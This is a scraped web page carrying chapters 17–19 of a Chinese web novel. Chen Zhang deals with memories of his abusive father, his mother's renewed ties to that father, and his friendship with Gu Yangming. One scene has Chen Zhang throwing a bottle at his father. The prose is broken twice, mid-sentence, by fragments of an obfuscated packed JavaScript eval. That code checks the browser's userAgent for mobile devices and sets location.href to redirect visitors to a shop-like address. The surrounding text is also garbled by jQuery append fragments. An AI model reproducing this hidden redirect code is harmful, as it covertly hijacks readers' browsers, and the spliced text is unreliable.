$(''#content'').append('' p>“现在你终于打我了,却是因为陈远川。” “你是觉得我错了,是吗?” 王知然没有说话。 陈璋继续质问:“你真的爱我吗?” 王知然眼眶发红。 这不是她想要的结果,她明明可以和她的儿子相处得更好。 她有些后悔了。 陈璋碗里的饺子没吃完,他拿起东西,转身离开。 王知然并没有挽留。 他没有走远,只是坐在小区楼下有光的长椅上。 他也后悔了。 他不该那样对王知然说话,他觉得自己没资格指责王知然。 王知然是爱他的,只是爱得不够多。 陈璋拿起那本书,随手翻了几下,一张小纸条飘落出来。 上面写着:陈璋,你是个很奇怪的人。你能在人群中交谈甚欢,也能独自游离在人群中。你看上去不孤独,却也不享受,可依旧游刃有余。我想知道,会有人让你停下脚步多看两眼吗?如果有,我可以是那个人吗? 陈璋捏着纸条,想起徐竞元之前的回复。 他说有机会见一面,也祝他找到爱的人。 陈璋将纸条塞回书里,抱着书,仰靠在椅背上,望向天空,他从来没有期待有人会来爱他。 夜色浓稠,没有星月,只有居民楼的窗户里透出点点灯火,有一盏应该是属于他的。 他脸颊还在发烫,挨打的痛感隐约残留。 他想,王知然此刻在做什么? 陈璋陷入沉思。 他总是这样,和王知然在一起时,会克制不住喜怒,可一旦分开,又能迅速抽离,冷静思考。 王知然似乎是唯一能让他无法控制情绪的人。 王知然无疑是个成功的女性,却依然挣脱不了情感与婚姻的枷锁。 陈璋不禁想,为什么? 是因为如今功成名就的她,从曾经轻视打压过她的人身上,获得了某种被需要的满足感吗? 她是在依赖这种感觉,还是在借此炫耀? 他似乎阻止不了母亲与过去纠缠,就像他自己也从未真正斩断过去的一切。 思绪纷乱间,陈璋突然觉得头痛欲裂,仿佛一张名为“疼痛”的白纸黏在他的头上,生长成了他的头皮。 陈璋无意识地轻敲头皮,获得片刻舒缓。 可牵一发而动全身,眼角、下颌、喉咙,连胃部都隐隐作痛。 忽然,天空飘起细雨,雨滴落在脸上,冰凉的触感分摊了身体的痛楚。 雨越下越大,他起身走出小区,躲进一家超市避雨。 陈璋静静看着雨滴落在地面荡出水花,在超市霓虹灯的招牌下,恍若绽开的烟花。 手机响起,是顾扬名发来的消息。 一张照片:一群人围坐着吃火锅,欢声笑语。 陈璋不知如何回复,他的脑袋已经停止了思考。 下一秒,顾扬名直接打来了电话。 陈璋接得很快,快得让顾扬名都有些意外。 “你......吃饭了吗?” “吃了。”陈璋答。 他的语气平淡,连他自己都未察觉异样,顾扬名却听出了一丝嘶哑后的低涩。 “你在哪儿?” “超市。” 顾扬名想问些什么,又怕惹他反感。 通话间有短暂的空白。 陈璋忽然说:“外面下雨了,很大。” 顾扬名试探着问:“要我来接你吗?” 陈璋本想拒绝,可他身体先一步回应,背叛了他的意志,“好。” 17. 第十七章 一场雨,稀稀落落滴进了陈璋心里。 他本可以在超市买一把伞独自离开,或者转身回到那个不算家的“家”。 可他都没有。 他甚至不清楚自己在做什么,只是头脑空白地等着一个人来接他。 多么普通的场景,多么寻常的事,在陈璋心里却一点也不普通。 因为上一次他恳求有人来接他,是在高三。 八中的高三生每周只有大约一天的休息时间:周六下午放学,周日下午返校。 那个周六,是陈璋记忆里雨下得最大的一天,风雨雷电,几乎没有片刻停歇。 陈璋的伞坏了,他找不到人同行,或者说,没有人愿意与他同行。 每个人都急着回家。 即便有人愿意,一把小小的伞也难以完全遮挡两个人。与其两个人都淋湿,不如一个人承受。陈璋做不到因为自己的缘故连累别人打湿衣衫。 他站在教学楼门口,看着狂风压弯树枝,看着学生撑伞离去,看着自己最终被独自留下。 雨一直没有停。 天色浓墨昏沉,积水浑浊地从台阶上汩汩溢下来,没过他的鞋面。 陈璋给王知然打了个电话,还没开口,就听见那头传来激烈的争吵声和刺耳的喇叭声。 很容易猜到原因,雨大客少,王知然正在为生计和别人抢客人。 陈璋还是问出了那个不合时宜的问题:“妈,我没带伞......你有空来接我吗?” 他得到的回答是:“陈璋,没有人是围着你转的,我去接你,谁去挣钱?” 陈璋能理解王知然的不易,他想解释的。 他不是非要人来接,他没有要王知然围着他转,他没有......他只是在这个时刻,还是忍不住想问一句而已。 可惜,电话已经挂断了。 嘟嘟的忙音敲打在耳膜上,告诉他,没有人会来。 陈璋没有叹气,甚至没有犹豫,径直冲进雨里,跑了十分钟才到公交站。 此刻,陈璋盯着手机上的通话记录。 顾扬名说等他十五分钟,可现在已过去十八分钟。 他不知道顾扬名在哪里吃饭,不知道他还要多久才到,他不敢问,也不敢催。 时间一分一秒流逝,焦虑在他心里一点点堆积。 他本不需要人来接的。 当时间到了二十分钟,他犹豫着,还是拨通了电话。 他说:“你不用——”来接了。 话未说完,听筒里传来顾扬名急促的喘息声,同时,一个身影猝然出现在陈璋面前。 他听见对方说:“我来了!” 是顾扬名。 他不知是从哪个方向跑来的,裤脚几乎全湿透了,手里攥着一把宽大的黑伞。 他周身裹着浓重的水汽,扑面而来,几乎要将陈璋也沾湿。 “你从哪里来的?” 陈璋眼底写满错愕,脑子像生锈的钟表,咔...嗒...咔...嗒地响。 顾扬名站在陈璋面前,伞面倾斜,将他完全笼罩在遮蔽之下。 他指了指陈璋斜后方:“那段路停不了车,我把车停后面了,走吧。” 说着,他靠近一步,手臂自然地揽住陈璋的肩,带着他往前。 陈璋想问的话被这个动作堵了回去,他闷声不响地跟着走。 直到坐进车里,关上门,隔绝了外面的潮湿。 陈璋低声说:“谢谢。” 顾扬名打开暖气,调整着出风口,对着陈璋吹,语气带着一丝无奈:“谢什么谢,你能别老对我这么客气吗?” 陈璋有些不自然地转移话题,“路上很堵吗?” “有点,不过还好我离得不远。”顾扬名启动车子,缓缓汇入车流。 陈璋想起他原本在吃饭,问:“你就这样过来,你朋友们呢?应该还没吃完吧?” “吃完了,他们闹得厉害,我早就想走了。还好有你,不然我都找不到借口开溜。”顾扬名瞥了陈璋一眼,笑着解释。 陈璋心里松了口气,没耽误他就好。 顾扬名见陈璋似乎信了,便不再多言,怕他追问。 事实上,挂断电话后,顾扬名当即就要走,让王大帅先结账,后面再给他转钱。王大帅一行人自然不乐意,可惜拦不住,整包间的人都在笑他“有了新欢忘了旧爱”。 简单的对话后,车内陷入沉默,只有暖风吹送的声音,两人各怀心事。 这次是陈璋先打破寂静。 “你手上......好像有道疤。”他的目光落在顾扬名右手背,那个小小的月牙形疤痕上。 这句话仿佛触动了某条看不见的警戒线,顾扬名猛地转头看向陈璋。 见对方反应强烈,陈璋迟疑道:“怎么?这不是疤吗?” 顾扬名手指微微蜷缩,下意识想藏起手,却碍于正在开车,他只能作罢。 他下颌线绷紧,尽力平静地说:“哦,小时候打闹留下的吧。这种小伤疤很常见。” “这倒是。”陈璋也伸出手,给顾扬名看自己左手中指上类似的月牙形小疤,“我也有。” 顾扬名喉结微动,视线扫过那个疤痕,声音低了些,“......好巧。” “确实巧,不仅我有,赵希一也有一个,还是我咬的。”陈璋像是想起什么,语气里带着些许笑意。 “是吗?”顾扬名沉吟片刻,才接话,“听你这么说,我倒想起来了,他好像提过。” “说起这个,以前长辈总说我们是双胞胎,因为我和他还长得很像。” 这时,他听见陈璋轻声说,语气里那点笑意消失了:“可惜,见不到他了。” 陈璋又问:“我能去祭拜他吗?” 顾扬名握着方向盘的手紧了紧:“当然,有机会我带你去。” “算了。”陈璋却又摇头拒绝,“他应该......不想见到我。” 顾扬名想反驳,嘴唇动了动,话到嘴边却滞住了。 他总觉得一旦开口,就会暴露什么不该说的。 快到星阳小区时,陈璋忽然开口:“能借一下你的伞吗?” 顾扬名应道:“好,下次还我就行。” 车停稳后,陈璋又说:“谢谢你。” “这已经是你第二次说谢了。”顾扬名语气里带着些许无奈。 陈璋却固执地重复:“谢谢你来接我。”也谢谢你,愿意做我的朋友。 后半句,他没有说出口,转身撑伞走进了雨里。 两人就此分别,一切如常。 可接下来的一整周,顾扬名都没能见到陈璋。 陈璋像是在刻意躲着他。不论是发消息还是打电话,陈璋总说在忙,下次再聊。 下次、下次、又是下次。 一晃七天过去,依旧没有“下次”。 顾扬名在办公室里坐立不安,转着椅子,手机在指间翻来覆去。 他忍不住问秦年:“你说他是不是察觉了什么?那天晚上他确实不太对劲。” 秦年把几叠合同摆到他面前:“签字。” 顾扬名停下转椅,随手抽出笔,一边签字一边继续问:“我要不要直接去找他?” 没等秦年回答,他又自己否定:“算了算了,我再想想......我觉得我没什么破绽啊?” 秦年看着他心不在焉地签完字,恨铁不成钢,“你把这心思用在工作上,比什么都强。” “怕什么,不是有你吗?”顾扬名只想当甩手掌柜,“你说我现在怎么办?” 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当时陈璋还问了一句:“你比赵希一大吗?” 顾扬名突然从椅子上弹起来,脸色骤变:“完蛋了!” “又怎么了?”秦年皱眉,被他吓了一跳。 顾扬名惊呼:“陈璋问我和赵希一谁大?” 秦年觉得这个问题很普通,“这有什么奇怪的?” “当然奇怪!我一开始就说赵希一是我表哥!”顾扬名烦躁地抓了抓头发,“你会特意问你和你表哥谁年纪大吗?” 秦年点点头,抬手推了推眼镜,“那你自求多福吧。” 因为这个问题,顾扬名彻底陷入了困境。原本想找陈璋的念头,现在变成了不敢找。 接下来几天,顾扬名异常安静。 陈璋也没怎么联系他,对话框停留在几天前。 那场争吵过后,陈璋依旧没有改变什么,反而让王知然变本加厉地接近陈远川,甚至把他带回了家。 汤佳知道王知然和陈璋吵了架,她一向是家里的调和剂,这次也不例外。 “哥,你要不要回家吃饭呀?”她问得小心翼翼。 陈璋不想让汤佳为难:“什么时候?” 汤佳松了口气,语气轻快起来:“今天晚上行吗?妈妈做了一大桌菜,都是你爱吃的。” 陈璋答应了,也如约而至。 菜很丰盛,几乎摆满了不大的餐桌:水煮肉片、魔芋烧鸡、泡椒牛肉、蚝油生菜、海带排骨汤...... 三个人根本吃不完。 王知然把魔芋烧鸡推到陈璋面前,眼神带着期待:“尝尝,我好久没下厨了,不知道味道还行不?” 陈璋没说话,夹起一块尝了尝,放下筷子,“这不是你做的吧?” 王知然语气一紧,有些生硬:“你胡说什么?这些都是我做的!” 陈璋摇头,指着面前那盘菜,“至少这道不是。” 王知然沉默下来,筷子搁在碗上。 陈璋继续道:“你不用这样,我不会再管了。” “你想多了。”王知然声音低了些,避开他的目光。 汤佳有点心虚,埋头吃饭,不敢接话,筷子在碗里轻轻拨弄。 陈璋不再多说,也安静吃饭。 餐桌上的气氛怪异地安静。 直到王知然自己没忍住,像是妥协般轻声承认:“你说得对,这道菜确实不是我做的......是陈远川做的。” 陈璋“嗯”了一声,语气平静,看不出一点不满:“我知道,谁做的都行。” 18. 第十八章 大概是因为陈璋对事物的第六感太强了,哪怕只是猜测,也准得惊人。 王知然目光中难以掩饰的好奇和无奈,忍不住问:“你是怎么吃出来的?” 她很少下厨,即便如此,陈璋又怎能一口断定是陈远川做的? “猜的。”陈璋低声说,脑中闪过一些不愉快的画面。 他确实是猜的,但猜也有猜的依据。王知然做魔芋烧鸡不会放香菜,但陈远川会放,而且做得特别好吃。 只不过从陈璋记事起,他就很少下厨了。 陈璋七岁那年生日,陈远川心情好,给他做了一顿饭,就是魔芋烧鸡。 陈远川正忙着清洗鸡块,觉得站在一边的陈璋很碍眼,就让他先往锅里倒油。 农村的油不是超市里卖的小瓶装,大多是从榨油坊用巨大的油桶买回来的。 陈璋又瘦又小,灶台却很高,他只好踩在吱呀作响的木凳上。 可油桶太重,陈璋身子倾斜着,没控制好力度,油哗地倒下去,瞬间漫过了锅底。他心里一急,想赶紧把油桶扶正,结果整个人被带得一个趔趄,油洒了一地。 陈远川看见这一幕,脸色霎时阴沉,什么也没说,抄起陈璋脚边的木凳就狠狠砸在他瘦弱的背上。 “让你做点事都不行!没用的废物!” 生日那天,陈璋浑身油污,身上淤青好几大块,走路一瘸一拐,却还必须吃完那盘魔芋烧鸡。 类似的事太多,陈璋从没跟任何人提过。 对他而言,讲述过去是一场充满羞耻、恐惧与潜在伤害的冒险。 如今陈远川又做了这道菜给他,陈璋很难不去猜测对方的用意。 是挑衅吗?还是试图用这种拙劣的手段,唤起他童年记忆,以此彰显他的父爱? 汤佳看了看两人僵持的表情,小声打圆场,夹了一筷子水煮肉片放到陈璋碗里:“哥,尝尝这个吧,这个好吃。你面前那个一看就不好吃。” 陈璋嘴上说“谁做的都行”,可直到吃完饭,他再也没碰过那盘魔芋烧鸡一口。 汤佳早早回了房间,王知然的电话依旧响个不停。 与陈璋视线相撞一瞬后,她拿着手机转身进房间谈事去了,刻意避开了他的目光。 陈璋看着满桌的菜,默默拿出两个垃圾袋,将那份几乎没人动过的魔芋烧鸡,一点不剩地倒了进去,系紧袋口。 收拾完厨房,他走到汤佳房门前,停顿片刻,轻轻敲了敲门。 汤佳正在剪辑视频,听见敲门声,立刻起身跑过去开门。 她瘪着嘴,仰头看着陈璋,小声说:“哥,对不起,我不是故意瞒着你的。” “你道什么歉,这件事本来也和你没关系。”陈璋轻声安慰,“而且,我已经不想管了。” 汤佳手攀着门边,身子随着门轻轻摇晃,“哥,我不知道你们以前到底发生过什么......我尊重妈妈的选择,也尊重你的。如果妈妈真的选择了别人,那我就选你。” “你一天天想的倒挺多。”陈璋也侧身靠在门框上,叹了口气,“她就算选了别人,也不代表就放弃了我。你也不该为这种事就说选我之类的话,她听见会伤心的。” 汤佳把门晃得更起劲了,低声嘟囔:“可你也会伤心呀......” “别晃了,”陈璋伸手按住门把手,“这是妈自己的人生选择,我过度干涉只会适得其反。每个人的经历不同,看待事情的角度也不一样,用我们的标准去要求她,也不公平。” “只要不出什么不好的事,就行了。” 汤佳觉得这话说得有些勉强,她有点不相信,“你是认真的吗?” 陈璋点头,目光平静:“认真的,你继续忙吧,我先回去了。” “你就不能住这儿吗?”汤佳试图挽留,眼神期盼。 陈璋摇头,语气坚决:“那边住惯了,而且重新铺床什么的,麻烦。” “我帮你铺!”汤佳自告奋勇,恨不得立刻动手。 陈璋伸脚轻挡了一下门框,似乎在阻止汤佳出来,“算了,下次吧。” 汤佳低着头,慢吞吞地回到书桌前。 陈璋替她带上门,听见隔壁房间传来王知然压低嗓音讲电话的声音。 他在门口驻足片刻,转身离开。 陈璋从小跌跌撞撞一个人长大,而王知然的成长之路,其实也并不比他轻松多少。 那个年代,重男轻女的思想根深蒂固。 王知然出生时,外婆就因难产去世,这让本就不受欢迎的女婴处境更加艰难。 她从小就很听话,干得农活最多,学习也最勤奋刻苦。 在那个小镇上,王知然是出了名的好学生,活泼开朗,落落大方,长得也清秀。 可这样一个好学生,却在初中毕业后就外出打工了。 原因简单得残酷:王知然有个哥哥,叫王国强。虽然成绩不如她,但也不差。一个农民家庭能供一个孩子读书已属不易,机会自然轮不到王知然。 王知然没有消沉。 她咬咬牙,打工挣钱,开了一家服装店,因此认识了人生中第一个对她好的人——陈远川。 陈远川没读过什么书,很早就出来闯荡,靠脑子灵光真的混出了名堂,开了个煤厂,成了名副其实的煤老板。 他给了王知然从未拥有过的东西:关注、物质,和一段看似安稳的生活。 在陈璋一岁前,王知然确实过了一段富太太的生活。 没人能预料未来。 而后的二十多年,王知然走得一直很艰难。 王知然的童年,是一片从未被光照亮的荒芜。 或许那段短暂的美好,对王知然而言,是灰暗里唯一的光亮,确实难以忘怀。 陈璋同情她,爱她,也恨她,会换位思考为她找借口,想阻止过去的牵绊成为束缚她的脚步。 但这并没有让两个人变得更好。 陈璋很痛苦,王知然也无法解脱。 陈璋尽力说服自己,所以他选择放手。 他明白,自己并没有能力拯救任何人,每个人都有自己的业要修,自己的路要走。 此刻,陈璋再次站在楼下,夜空清透,他能看见王知然房间的灯还亮着。 那扇窗里的灯光温黄,却照不清两人之间的距离。 他想:王知然能看见楼下的他吗? 陈璋接下来的生活异常平静,平静到当他在景区再次遇见那个同父异母的弟弟时,竟能保持出人意料的平和。 陈远川在景区当保安,儿子无人看管,只能带在身边。陈璋作为这条线路的负责人,难免会与他碰面。 在景区车站安排大巴调度时,两人撞了个正着。 “你也在这儿啊?”陈远川先开了口,脸色不太自然,心里直打鼓。 他摸不透陈璋的态度,忙拉过身边怯生生的小男孩,“来,叫哥哥,这可是你亲哥哥。” 男孩很腼腆,紧紧抱着陈远川的腿,小脸埋着,试图躲到他身后。 孩子总是敏感,他能从眼神里读出这个陌生人并不欢迎自己。 “他叫什么名字?”陈璋语气淡漠,视线扫过男孩,落在陈远川脸上。 陈远川硬是把小孩拽到面前,动作有些粗鲁,似乎在宣誓他并不是只有陈璋一个儿子。 “陈远安。” 陈璋点点头,转身就要走,他无话可说。 陈远川却叫住他,语气里带着点刻意的熟稔,“这周末我生日,你妈订了家火锅店,你来吧。” 陈璋脚步一顿,回过头。 他看着陈远川,厌恶感依旧在神经里叫嚣,但他只是说:“再说吧。” 走到一辆大巴的另一侧,避开人群,陈璋终于撑不住,抬手按住心口,弯下腰,一阵反胃,几乎要吐出来。 他靠在冰凉的车身上缓神,却被人从身后猛地拍了下肩膀。 陈璋下意识浑身抖动,低声尖叫,只觉得肩头一沉,像沾上了什么不干净的东西。 他以为是陈远川阴魂不散。 直到转身听见那个熟悉的声音,带着关切,“你怎么了?吓着你了?” 陈璋心头的火在看清是顾扬名担忧的脸后,只能憋屈地咽回去,语气生硬,“你怎么在这儿?” 顾扬名摆出委屈巴巴的模样,“我送秦年过来办事,刚好看见你。你又不愿来见我,我只好来见你了。” “别胡说,我没有不见你。”陈璋别开脸,不承认。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201117|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >顾扬名冷哼,凑近一步,“现在倒会说了?也不知道是谁消息不回、电话不接,动不动就说很忙。” “你再冷暴力我,我要报警了。” “嗯,报吧。”陈璋继续往前走,试图掩饰刚才的失态,“警察叔叔会替你讨回公道的。” 顾扬名快步跟上他,忽然伸手拉住他的手腕,力道不轻:“陈璋,你为什么躲着我?” 两个男人在人来人往的车站拉拉扯扯,实在扎眼。 陈璋尴尬地用力抽回手,加快脚步:“我没躲你,最近节假日,忙不是很正常?” 顾扬名跟着他进了狭小的调度办公室,反手带上门:“你......” “我什么?”陈璋听见了他语气里的犹豫。 顾扬名却问不出口了,他不敢问,陈璋是不是发现了什么,那个秘密像一根鱼刺扼住他的喉咙。 陈璋见顾扬名没再说话,便也不追问,转而用平静的语气说道:“过两天我爸生日,你要不要和我一起去?” “你爸生日?”顾扬名指着自己,又确认了一遍,脸上满是惊讶和怀疑,“你要我跟你一起去?” 陈璋点头,“嗯,你要是不愿意就算了。” “去!我去!”顾扬名连忙应下,凑近些,试探着问,“你们这是......和好了?” 陈璋低头假装检查着桌上的排班表,闻言抬头想了想,嘴角扬起,却没什么笑意,“没有,和好是不可能的。只不过我妈不撞南墙不回头,我打算让她撞一撞。” 顾扬名压低声音,带着点好奇和担忧:“你想干嘛?” “吃火锅啊。”陈璋扭头看他,“我能干嘛?你不会以为我要打他一顿吧?” 顾扬名摇摇头,心里却说:你又不是没可能。 但他没敢说出口。 陈璋并不像表面看起来那么温吞,只是他很少显露另一面。 除了重逢那天他揍了杜彬,顾扬名小时候就见过陈璋打架不要命的样子,完全是奔着同归于尽去的。 “没有,”顾扬名面不改色地撒谎,转移了话题,“那你到时候发我地址和时间吧。” - 陈远川生日这天,王知然提前订了蛋糕,让陈璋去取,她和汤佳先去了火锅店。 那是蓉城一家老字号,本地人开的,多年只有这一家店,地址在旧商区,空气里都飘着股厚重的牛油味。 陈璋提着蛋糕到的时候,陈远川还没来。 他没忍住嘲讽:“主角都没到,我们倒勤快,还得等着。” “周末堵车正常。”王知然低头翻着菜单,没看他。 汤佳接过蛋糕,赶紧打圆场,“哥,这家的蛋糕好吃,我生日你也给我订一个呗?” 陈璋坐下说:“你生日不都和朋友过吗?蛋糕好几个,吃不完浪费。” “简单!今年生日谁的蛋糕我都不吃,就等你买的!”汤佳其实是想转移话题,聊她总比聊某些人好。 她不想在外头看陈璋和王知然起争执。 陈璋还没回答,手机响了,是顾扬名。 “陈璋,电梯坏了,我在地库,绕晕了,找不到上来的楼梯。” 陈璋起身:“站着别动,我来接你。” 火锅店后门出去五十米有个杂物间,旁边堆着叠成小山的空啤酒瓶,两侧各有一个狭窄的楼梯通往下层的地库。 陈璋随手推开一扇楼梯间的门,木门发出轻微吱呀一声。他刚迈下一步,却听见下面转角处有人压着嗓子打电话。 “放心,欠你的钱我一定还!” “我前妻有钱,这女人好哄,两句好话就晕头转向。最迟后天给你,道上混的都知道,我虽然现在不行,以前名声还是有的......” “好好好,你放心。” 陈璋收住脚步,没出声,悄无声息地退出来,走到旁边的杂物间,他的目光落在几个绿色的空啤酒瓶上。 他弯腰,拎起一个瓶子,掂了掂分量。 算准角度,运气好的话,能砸中对方拿着手机的手臂。 想到这陈璋还觉得有点可惜,要是砸死他就好了。 陈璋回到原来的位置,他没有犹豫,眼神一冷,扬手就把瓶子朝着看准的方向扔了下去。 19. 第十九章 就在脱手的一瞬间,陈璋听见背后传来一声:“陈璋?你在这儿做什么?” 话音未落,楼梯下方紧接着传来“砰”的一声脆响,随即是哗啦碎裂的声音。 陈璋身形微顿,随即面色如常地转过身,对上顾扬名疑惑的目光:“你从哪儿上来的?我正打算下去接你。” 可他的话音里藏着楼下隐约传来的咒骂声。 “什么声音?”顾扬名蹙眉,想走进楼梯间查看。 陈璋却不动声色地拉住他的手臂,将他带离门口,“没什么,好像是个空瓶子滚下去了。” 顾扬名注视着陈璋,心底掠过一丝猜测,却识趣地没有点破,只是在转身的空隙中,扫了眼四周,似乎在留意楼道里有没有监控。 陈璋怕他深究,急着拉他离开,顺手带上了楼梯间的木门。 他只希望刚才那一掷没有失手。 回到火锅店,汤佳最先看到陈璋身后的顾扬名,起身问道:“哥,你怎么没说......”话到一半又咽了回去。 陈璋半小时前确实提过会带朋友来,只是没说是谁。 汤佳没想到陈璋会带顾扬名来这种“家庭场合”,尤其是在这样微妙的三方对峙局面下。 他们明明并没有认识多久。 顾扬名以一个“外人”的身份进来,她心里有些不快。 说到底,还是因为陈璋平时对谁都保持着距离,连对她这个妹妹也不例外,可对顾扬名却不同。 语气是检验关系的最好的方式。 陈璋和顾扬名说话的时候,是能听出情绪的。 此外汤佳总觉得顾扬名看陈璋的眼神不太对劲,有种说不清的专注。 王知然眼中也掠过一丝惊讶。她觉得顾扬名有些眼熟,但工作上见过的人太多,一时也没多想。 顾扬名站得笔直,朝王知然微微鞠躬,“阿姨好!” 王知然笑着点头:“你好,快坐。陈璋也没提前说要带朋友来,本就是家人随便吃个饭。下次让陈璋带你过来,阿姨正经请你吃顿好的。” 陈璋闻言挑眉,自顾自拉开椅子坐下。 顾扬名一副乖巧晚辈的模样:“阿姨您太客气了,是我冒昧打扰了。” 说完,他取出早就备好的精致礼盒:“阿姨,这是送您的一点心意。不知您喜欢什么,就挑了个寓意平安的手镯,希望您别嫌弃。” 王知然连忙摆手,笑容更真切了些:“不用这么破费,头回见面,阿姨也没给你准备什么,这多不好意思。” 顾扬名却已谦逊地将礼盒轻放在她手边,“一点心意,应该的。” 他又取出另一个稍小的盒子递给汤佳,语气轻松:“这是给你的,一条小手链,看喜不喜欢,不喜欢下次再补你个合心意的。” 汤佳原本对顾扬名颇有微词,此刻心情却不上不下,毕竟刚才还在心里还嘀咕过...... 她不好意思地推拒:“真的不用了,太客气了。” 顾扬名依旧笑容温和,将礼盒轻推至汤佳手边:“不值几个钱,就是点心意,拿着吧。” 汤佳看向陈璋,见他没什么表示,只好收下,低声道:“谢谢。” 顾扬名在陈璋身旁坐下,又从袋中取出一个礼盒递给陈璋:“这份是你的。不过里面......其实还多备了一份。” 这份本是给陈远川准备的,但给不给,他觉得还是看陈璋的意思更稳妥。 王知然订的是包间。老店虽翻新过,但空间仍不大。 陈璋刚坐下没多久,包间门被推开,陈远川捂着左胳膊肘下方,脸色发青,嘴角微微抽搐。 王知然起身迎过去:“手怎么了?怎么弄的?” 陈远川龇牙咧嘴骂道:“真他妈倒霉!不知道哪个缺德玩意儿从楼上扔酒瓶!还好我躲得快,就擦了一下,不然脑袋开花!” “严不严重?”王知然凑近仔细查看,“手还能动不?感觉怎么样?” 陈远川语气更加不善,带着狠戾:“估计得肿!妈的没看清是哪个小杂种,不然非弄死他不可!” 王知然蹙眉,当机立断:“不行,我先带你去医院拍个片子,万一骨头有事就麻烦了。”她转向陈璋,语气商量,眼神期盼,“陈璋,你跟我们一起吧?也好有个照应。” “菜都点了,锅也开了,不吃了吗?”陈璋没起身,用筷子拨弄着碗里的香油碟,语气平淡。 两人对视片刻,王知然看出他的态度,没再坚持:“那你们吃,吃完记得送你妹妹回家。” 陈璋“嗯”了一声,没再看他们。 陈远川临走前瞥了陈璋一眼,目光阴沉,像在琢磨什么。 菜上齐后,陈璋一边熟练地下着毛肚和黄喉,一边对闷头吃肉的汤佳说:“你记得提醒妈,别再轻易给陈远川钱,我估计他外面欠了不少债。” 汤佳飞快地瞄了眼安静坐着的顾扬名,压低声音问:“你怎么知道的?” “听人说的。”陈璋夹了片烫好的肉,蘸了蘸料,“你别忘了和妈说一声,你平时一个人在家,别带陈远川进门,不安全。” “哦。”汤佳点头,又试探道,“哥,要不你搬回来吧?这样更放心。” 陈璋动作顿了顿,像在认真考虑,随后说:“过几天我搬回去。” “好!”汤佳眼睛一亮,“不过哥你放心,妈好像挺有分寸的,没让陈远川进过家门,上次那菜也是他做好了送来的。” 顾扬名见缝插话,语气自然,“搬家的时候我来帮忙?” 陈璋抬眼看他,带着点调侃,“你不工作?怎么觉得你比我还闲。” “工作啊!但帮朋友搬家的时间还是有的。”顾扬名笑了笑,眼神认真。 陈璋也就没再拒绝,算是默认了。 饭后,顾扬名开车先送汤佳回家,再送陈璋。 陈璋解开安全带准备下车,顾扬名叫住他,“陈璋。” 陈璋动作停住,回头看他。 顾扬名注视着他的眼睛,声音低沉:“别做会让自己后悔的事。” 陈璋听出了话里的意味,直白地问:“你看见了?” “嗯。”顾扬名没有否认,“下次别这样冒险了,万一被拍到,或者对方反应快抓住你,说不定真得进派出所。” 陈璋本以为顾扬名是来指责他的,没想到竟是在担心他。 他觉得有些好笑,戏谑地问:“你难道不该说陈璋,你居然是这种人!怎么能对你爸做这种事?” “......陈璋,我没跟你开玩笑。”顾扬名忽然板起脸,神色严肃。 陈璋收起笑意,淡声道:“放心,我不会做那么蠢的事,最多在心里想想。” 顾扬名分不清他是在敷衍,还是真心这么想。 他不好再多说,那样太啰嗦,陈璋也未必想听。 因为他的担心并非空穴来风,那时顾扬名还叫赵希一,刚被母亲赵灵带回白马村。 赵国林正在院子里拉锯做木工,做些桌椅之类的小件家具。 那是赵希一第一次见外公。 赵灵拉着他上前:“叫外公呀!这么大个人了,别别扭扭的。” 赵希一面对这个陌生的亲人,有些怯生生的,他小声喊了句:“外公。” 赵国林停下手里的活,对赵灵不咸不淡地说:“回来了就好好待着,自己去收拾屋子,我没空伺候。” 赵灵点点头,拖着行李进了屋。 赵希一想跟去帮忙,被赵国林喊住:“过来。” 赵希一犹豫地看向赵灵,她回头笑了笑安慰道:“去吧,外公喜欢你,就是想和你说说话。” 他这才慢吞吞走过去。 赵国林在裤腿上擦了擦手,一把抱起他,仔细端详:“长得跟你妈真像,秀气得跟个女娃娃似的。” 赵希一不喜欢别人这么说他,但面对外公,他不敢反驳。 赵国林空出一只手,朝堆放的木料方向招了招,声音放缓和了些:“小璋,过来,见见人。” 赵希一顺着他指的方向望去,才发现木料堆旁蹲着个小男孩,头发乱糟糟的,沾着木屑,眼睛很大,黑亮亮地瞪着,那是对外来者的警惕。 陈璋没动,依旧蹲在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孩子王气急了,冲上来想动手,但陈璋手里的木条已经带着风声扬起,“啪”的一声脆响,结实地抽在孩子王的小腿上。 孩子王疼得倒抽一口冷气,愣在原地,看着陈璋那副不要命的样子,一时不敢再上前。 其他孩子见惯了陈璋这股不要命的劲儿,生怕他发起疯来连他们也打,一边撒腿往远处跑一边喊:“陈小疯子又发疯了!快跑!” 孩子王后退几步,嘴上还硬:“你给我等着!” 陈璋上前毫不客气地踹了他一脚,声音不高,却像是在命令:“把钱和东西,还给他。” 孩子王挨了打、丢了面子,现在还要把到嘴的肉吐出来,压下去的火又窜上来,没留意陈璋垂着的手里还紧紧攥着那块石头。 他挥拳冲来,陈璋却像早有预料,侧身躲开的瞬间,抬手就把石头砸在他额角上。 “咚”的一声闷响,孩子王几乎被打蒙了,眼前发黑,站在原地晃了两下,一动不动,过了几秒才反应过来,捂住额头后退几步,脸色煞白,似乎随时会倒下的模样。 原本被打到跪在地上的赵希一见状,吓得魂飞魄散,猛地起身,也顾不上疼,一把拉住陈璋的手就跑。 陈璋的手很凉,沾着细沙,握起来很粗糙,并不舒服,但赵希一的手很热,很用力。 耳边风声起,陈璋却什么也听不见,他只觉得手渐渐变得更暖和起来,连带着他的心跳也莫名地、不受控制地越跳越快。 赵希一拉着陈璋跑出很远,在一个转角停下,心有余悸地问:“他......不会有事吧?” 陈璋的手还被赵希一紧紧攥着,他没有立刻抽回。 他说:“有事才好。” 